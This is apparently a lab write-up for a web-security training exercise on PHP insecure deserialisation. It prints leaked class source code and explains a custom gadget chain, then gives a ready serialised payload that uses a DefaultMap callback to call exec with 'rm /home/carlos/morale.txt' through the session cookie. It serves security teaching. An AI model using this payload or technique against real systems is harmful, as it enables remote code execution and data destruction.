Developing a custom gadget chain for PHP deserialisation
Description
This lab uses a serialisation-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialisation to achieve remote code execution.
Reproduction and proof of concept
Log in with
wiener:peter
. The session cookie contains a serialised PHP object.
The website references the file
/cgi-bin/libs/CustomTemplate.php
(find in Target tab). Get the source code by submitting a request using the.php~
backup file extension.
Response:
HTTP/1.1 200 OK
Content-Type: text/plain
Set-Cookie: session=; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 1396
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
The
__wakeup()
magic method for aCustomTemplate
will create a new Product by referencing thedefault_desc_type
anddesc
from theCustomTemplate
.The
DefaultMap
class has the__get()
magic method, which will be invoked if you try to read an attribute that doesn’t exist for this object. This magic method invokescall_user_func()
, which will execute any function that is passed into it via theDefaultMap->callback
attribute. The function will be executed on the$name
, which is the non-existent attribute that was requested.This gadget chain can be exploited to invoke
exec(rm /home/carlos/morale.txt)
by passing in aCustomTemplate
object where:
CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
CustomTemplate->desc = DefaultMap;
DefaultMap->callback = "exec"
Follow the data flow in the source code: this will cause the
Product
constructor to try and fetch thedefault_desc_type
from theDefaultMap
object. As it doesn’t have this attribute, the__get()
method will invoke the callbackexec()
method on thedefault_desc_type
, which is set to the shell command.To solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via the session cookie:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
Exploitability
An attacker will need to log in to wiener:peter
; and delete the morale.txt
file from Carlos’s home directory.